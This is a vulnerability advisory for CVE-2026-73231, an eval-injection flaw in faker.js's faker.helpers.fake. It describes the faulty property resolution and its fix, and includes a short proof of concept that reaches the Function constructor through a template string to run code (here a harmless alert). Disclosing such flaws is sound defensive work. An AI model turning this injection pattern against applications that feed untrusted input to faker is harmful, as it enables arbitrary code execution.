CVE-2026-73231
ADVISORY - githubSummary
Summary
faker.helpers.fake can be tricked into arbritary code execution.
Details
fakeEval.resolveProperty resolves properties on functions itself instead of resolving the nested function first. This can be addressed by recursively calling resolveProperty instead of accessing the property after one iteration.
PoC
Go to https://fakerjs.dev/ Open Browser console and run
await enableFaker(); // or import faker
faker.rawDefinitions.test = (() => () => {}); // Any function that returns a function
faker.helpers.fake(`{{test.constructor(alert('PowerLevel: Eval'))}}`);
Impact
The Fake method claims:
It is also NOT possible to use any non-faker methods or plain javascript in such patterns.
Which is objectively false, since any global gets fully accessible in the fake string.
EPSS Score: 0.00154 (0.049)
Common Weakness Enumeration (CWE)
ADVISORY - nist
Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
ADVISORY - github
Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
NIST
CREATED
UPDATED
ADVISORY IDCVE-2026-73231
EXPLOITABILITY SCORE
1.8
EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)
CVSS SCORE
7.8highGitHub
CREATED
UPDATED
ADVISORY IDGHSA-qxc2-j82w-r537
EXPLOITABILITY SCORE
1.8
EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)